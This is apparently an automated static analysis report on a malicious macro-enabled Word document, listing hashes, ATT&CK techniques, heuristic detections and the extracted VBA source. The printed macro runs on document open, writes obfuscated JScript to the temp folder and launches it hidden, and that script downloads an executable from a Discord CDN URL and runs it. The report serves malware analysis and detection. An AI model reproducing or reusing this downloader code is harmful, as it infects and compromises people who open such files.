Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 105d9496d4f80ae5…

MALICIOUS

Office (OOXML)

98.0 KB Created: 2021-06-16 21:44:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-30
MD5: 356a5c57245204778e4987ca33558603 SHA-1: 295160cddc9a18dc0809c547908e19e4272e01f3 SHA-256: 105d9496d4f80ae5ef3c7642f55117b65a10398afe5ff9c30d706fa9873cfd6a
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1036 Masquerading

The sample contains a VBA macro with a Document_Open subroutine that calls a function to execute malicious code. This function uses WScript.Shell and CreateObject to download a file from a hardcoded URL and save it to the temporary directory as 'erbxcb.exe'. The script also attempts to execute this downloaded file, likely a second-stage payload.

Heuristics 9

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    jyhgfhjkGUGukj.Close
    Shell Environ("COMSPEC") & " /c start " & rbRBGbrr & "\" & "rtbdxsdcb.js", vbHide
    End Function
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim pika As String
    mybrt = "var _0x583c=['GET','send','MSXML2.XMLHTTP','1068SQrDgb','chain','WScript.Shell','253IUBkBM','CreateObject','1UvZGop','264651pBFIUp','https://cdn.discordapp.com/attachments/789415918744764447/857131714521202688/bl" & _
    "essed.exe ','3uTdtzV','Close','Open','Scripting.FileSystemObject','279717pnWPho','ADODB.Stream','881FqCuvt','%TEMP%','111sZvDMX','constructor','SaveToFile','action','^([^\x20]+(\x20+[^\x20]+)+)+[^\x2" & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim pika As String
    mybrt = "var _0x583c=['GET','send','MSXML2.XMLHTTP','1068SQrDgb','chain','WScript.Shell','253IUBkBM','CreateObject','1UvZGop','264651pBFIUp','https://cdn.discordapp.com/attachments/789415918744764447/857131714521202688/bl" & _
    "essed.exe ','3uTdtzV','Close','Open','Scripting.FileSystemObject','279717pnWPho','ADODB.Stream','881FqCuvt','%TEMP%','111sZvDMX','constructor','SaveToFile','action','^([^\x20]+(\x20+[^\x20]+)+)+[^\x2" & _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    On Error Resume Next
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Dim JKHGikujghrv As Object
    rbRBGbrr = Environ("TEMP")
    Set JKHGikujghrv = CreateObject("Scripting.FileSystemObject")
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://cdn.discordapp.com/attachments/789415918744764447/857131714521202688/bl In document text (OOXML body / shared strings)
    • https://cdn.discordapp.com/attachments/789415918744764447/857131714521202688/bl�In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5125 bytes
SHA-256: 16e8f38a33c266e9b8bf769343a87bf83f3f009f4e3c584c7f37b22194dbbc67
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
On Error Resume Next
Call grewb
End Sub

Attribute VB_Name = "NewMacros"

Sub grewb()
On Error Resume Next
Call pizza
End Sub
Function pizza()
On Error Resume Next
Dim bugie As String
Dim mybrt As String
Dim zorrs As String
Dim pizi As String
Dim pika As String
mybrt = "var _0x583c=['GET','send','MSXML2.XMLHTTP','1068SQrDgb','chain','WScript.Shell','253IUBkBM','CreateObject','1UvZGop','264651pBFIUp','https://cdn.discordapp.com/attachments/789415918744764447/857131714521202688/bl" & _
"essed.exe ','3uTdtzV','Close','Open','Scripting.FileSystemObject','279717pnWPho','ADODB.Stream','881FqCuvt','%TEMP%','111sZvDMX','constructor','SaveToFile','action','^([^\x20]+(\x20+[^\x20]+)+)+[^\x2" & _
"0]}','input','counter','return\x20/\x22\x20+\x20this\x20+\x20\x22/','Position','967cbuVPh','Type','call','apply','test','37916PvImgQ','Run','while\x20(true)\x20{}','Write','/erbxcb.exe','146NlFfoH','ExpandEnvironmentStrings','867RwMqgS','debu','gger','function\x20*\x5c(\x20*\x5c)','FileExists','218lIRKLG'];var _0x1d07ac=_0x1dc1;(function(_0xa7073d,_0x346235){var _0x3d0df0=_0x1dc1;while(!![]){try{var _0x45a782=parseInt(_0x3d0df0(0x153))+-parseInt(_0x3d0df0(0x14d))*-parseInt(_0x3d0df0(0x149))+-parseInt(_0x3d0df0(0x15b))*-parseInt(_0x3d0df0(0x150))+parseInt(_0x3d0df0(0x166))*parseInt(_0x3d0df0(0x170))+" & _
"-parseInt(_0x3d0df0(0x172))*-parseInt(_0x3d0df0(0x15d))+-parseInt(_0x3d0df0(0x152))*-parseInt(_0x3d0df0(0x16b))+-parseInt(_0x3d0df0(0x155))*parseInt(_0x3d0df0(0x159));if(_0x45a782===_0x346235)break;else _0xa7073d['push'](_0xa7073d['shift']());}catch(_0x204758){_0xa7073d['push'](_0xa7073d['shift']());}}}(_0x583c,0x26388));var _0x58cf88=function(){var _0x31a3b6=!![];return function(_0x4bcabb,_0x273c15){var _0x52fd0d=_0x31a3b6?function(){if(_0x273c15){var _0x25540c=_0x273c15['apply'](_0x4bcabb,arguments);return _0x273c15=null,_0x25540c;}}:function(){};return _0x31a3b6=![],_0x52fd0d;};}(),_0x351f5b=_0x58cf88(t" & _
"his,function(){var _0x568a2f=function(){var _0x18ed3f=_0x1dc1,_0x3a1feb=_0x568a2f[_0x18ed3f(0x15e)](_0x18ed3f(0x164))()[_0x18ed3f(0x15e)](_0x18ed3f(0x161));return!_0x3a1feb['test'](_0x351f5b);};return _0x568a2f();});function _0x1dc1(_0x23f042,_0x2bcca6){return _0x1dc1=function(_0x8e6f27,_0x3e2a6f){_0x8e6f27=_0x8e6f27-0x147;var _0x21a1ba=_0x583c[_0x8e6f27];return _0x21a1ba;},_0x1dc1(_0x23f042,_0x2bcca6);}_0x351f5b();var _0x21a1ba=function(){var _0x2973ac=!![];return function(_0x2fd2bb,_0x3a4048){var _0x45da7a=_0x2973ac?function(){var _0xcd0a15=_0x1dc1;if(_0x3a4048){var _0x198f23=_0x3a4048[_0x" & _
"cd0a15(0x169)](_0x2fd2bb,arguments);return _0x3a4048=null,_0x198f23;}}:function(){};return _0x2973ac=![],_0x45da7a;};}();(function(){_0x21a1ba(this,function(){var _0x2c7963=_0x1dc1,_0x16b4a6=new RegExp(_0x2c7963(0x147)),_0x357a4a=new RegExp('\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','i'),_0x339ddb=_0x3e2a6f('init');!_0x16b4a6['test'](_0x339ddb+_0x2c7963(0x14e))||!_0x357a4a[_0x2c7963(0x16a)](_0x339ddb+_0x2c7963(0x162))?_0x339ddb('0'):_0x3e2a6f();})();}());try{var WshShell=WScript[_0x1d07ac(0x151)](_0x1d07ac(0x14f)),filepath=WshShell[_0x1d07ac(0x171)](_0x1d07ac(0x15c))+_0x1d07ac(0x16f),url=_0x1d07ac(0x154),xhr=" & _
"new ActiveXObject(_0x1d07ac(0x14c));xhr['open'](_0x1d07ac(0x14a),url,![]),xhr[_0x1d07ac(0x14b)]();var fso=new ActiveXObject(_0x1d07ac(0x158));if(fso[_0x1d07ac(0x148)](filepath)==![]){var stream=n" & _
"ew ActiveXObject(_0x1d07ac(0x15a));stream[_0x1d07ac(0x157)](),stream[_0x1d07ac(0x167)]=0x1,stream[_0x1d07ac(0x16e)](xhr['ResponseBody']),stream[_0x1d07ac(0x165)]=0x0,stream[_0x1d07ac(0x15f)](filepath,0x2),stream[_0x1d07ac(0x156)]();}var shell=WScript['CreateObject'](_0x1d07ac(0x14f));shell[_0x1d07ac(0x16c)](filepath);}catch(_0x8c3f69){}function _0x3e2a6f(_0x1e7dcb){function _0x5db229(_0x471827){var _0x657c6=_0x1dc1;if(typeof _0x471827==='string')return function(_0x2ef9f5){}[" & _
"_0x657c6(0x15e)](_0x657c6(0x16d))['apply'](_0x657c6(0x163));else(''+_0x471827/_0x471827)['length']!==0x1||_0x471827%0x14===0x0?function(){return!![];}['constructor']('debu'+_0x657c6(0x174))[_0x657c6(0x168)](_0x657c6(0x160)):function(){return![];}['constructor'](_0x657c6(0x173)+_0x657c6(0x174))[_0x657c6(0x169)]('stateObject');_0x5db229(++_0x471827);}try{if(_0x1e7dcb)return _0x5db229;else _0x5db229(0x0);}catch(_0x4a918a){}}setInterval(function(){_0x3e2a6f();},0xfa0);"

pika = mybrt

















Dim rbRBGbrr As String
Dim JKHGikujghrv As Object
rbRBGbrr = Environ("TEMP")
Set JKHGikujghrv = CreateObject("Scripting.FileSystemObject")
Dim jyhgfhjkGUGukj As Object
Set jyhgfhjkGUGukj = JKHGikujghrv.CreateTextFile(rbRBGbrr & "\" & "rtbdxsdcb.js", True, True)
jyhgfhjkGUGukj.write pika
jyhgfhjkGUGukj.Close
Shell Environ("COMSPEC") & " /c start " & rbRBGbrr & "\" & "rtbdxsdcb.js", vbHide
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 258048 bytes
SHA-256: 8c4d765c650bca23834adcc8dad24456a97603b629d88eff101a5f64b08092ef
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). 1374 of 1676 identifiers look randomly generated (e.g. 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMN'); 3 string-concatenation chain(s) — consistent with name-mangling obfuscation.